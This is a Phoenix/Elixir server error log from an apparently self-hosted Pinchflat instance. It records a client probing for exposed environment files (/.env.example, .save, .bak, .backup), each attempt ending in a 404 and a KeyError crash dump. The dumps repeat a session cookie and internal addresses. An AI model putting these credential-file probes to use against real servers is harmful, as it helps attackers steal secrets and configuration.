has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{}, body_params: %{}, c (truncated) 17:14:30.819 [info] GET /.env.example 17:14:30.820 [debug] QUERY OK source="settings" db=0.1ms idle=818.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.820 [debug] QUERY OK source="settings" db=0.1ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:30.820 [error] #PID<0.11817.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 50) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11817.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXA_drqxwNbMABVYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:31.091 [info] GET /.env.save 17:14:31.092 [debug] QUERY OK source="settings" db=0.1ms idle=545.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.092 [debug] QUERY OK source="settings" db=0.0ms idle=545.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.092 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:31.092 [error] #PID<0.11818.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 51) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11818.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXCARVv2QuHYABVaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:31.364 [info] GET /.env.bak 17:14:31.365 [debug] QUERY OK source="settings" db=0.1ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.365 [debug] QUERY OK source="settings" db=0.1ms idle=544.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.365 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:31.365 [error] #PID<0.11819.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 52) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11819.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXDBXg4m8if0ABVcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:31.636 [info] GET /.env.backup 17:14:31.636 [debug] QUERY OK source="settings" db=0.1ms idle=705.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.637 [debug] QUERY OK source="settings" db=0.0ms idle=545.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.637 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:31.637 [error] #PID<0.11820.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 53) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: 